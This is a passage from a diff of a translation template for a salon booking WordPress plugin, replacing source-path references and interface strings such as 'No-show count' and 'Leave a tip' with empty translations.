build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:70\n-msgid \"log-in with Facebook\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263\n+msgid \"No services found in trash\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:15, views\u002Fshortcode\u002F_salon_summary_600.php:15, views\u002Fshortcode\u002F_salon_summary_900.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:14\n-msgid \"Date and time booked\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99\n+msgid \"No shops ...\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:68, views\u002Fshortcode\u002F_salon_summary_600.php:68, views\u002Fshortcode\u002F_salon_summary_900.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:67\n-msgid \"Services & assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35\n+msgid \"No Show\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:162, views\u002Fshortcode\u002F_salon_summary_400.php:195, views\u002Fshortcode\u002F_salon_summary_600.php:161, views\u002Fshortcode\u002F_salon_summary_600.php:196, views\u002Fshortcode\u002F_salon_summary_900.php:159, views\u002Fshortcode\u002F_salon_summary_900.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:161, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:161, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:192\n-msgid \"Leave a message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:87\n+msgid \"No timeslots ...\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:167, views\u002Fshortcode\u002F_salon_summary_600.php:167, views\u002Fshortcode\u002F_salon_summary_900.php:164, views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:12\n-msgid \"Enter discount code\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32\n+msgid \"No upcoming bookings ...\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:173, views\u002Fshortcode\u002F_salon_summary_600.php:174, views\u002Fshortcode\u002F_salon_summary_900.php:170, views\u002Fshortcode\u002F_salon_summary_add_tips.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:174, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:174, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:14\n-msgid \"Leave a tip\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:96\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:131\n+msgid \"No user is currently logged in.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:184, views\u002Fshortcode\u002F_salon_summary_600.php:185, views\u002Fshortcode\u002F_salon_summary_900.php:181, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:181, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:181\n-msgid \"Leave a message.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:28\n+msgid \"no users found\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:217, views\u002Fshortcode\u002F_salon_summary_600.php:220, views\u002Fshortcode\u002F_salon_summary_900.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:214\n-msgid \"Complete your reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:95\n+msgid \"No, thanks\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:218, views\u002Fshortcode\u002F_salon_summary_600.php:221, views\u002Fshortcode\u002F_salon_summary_900.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:221, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:215\n-msgid \"Click on Next button\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:338\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:338\n+msgid \"No-Show Booking\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:214, views\u002Fshortcode\u002F_salon_summary_600.php:217, views\u002Fshortcode\u002F_salon_summary_900.php:211, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:211, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:211, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:211, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:211, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:211\n-msgid \"Complete the payment to confirm your reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:472\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:472\n+msgid \"No-show count\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_summary_400.php:215, views\u002Fshortcode\u002F_salon_summary_600.php:218, views\u002Fshortcode\u002F_salon_summary_900.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:218, 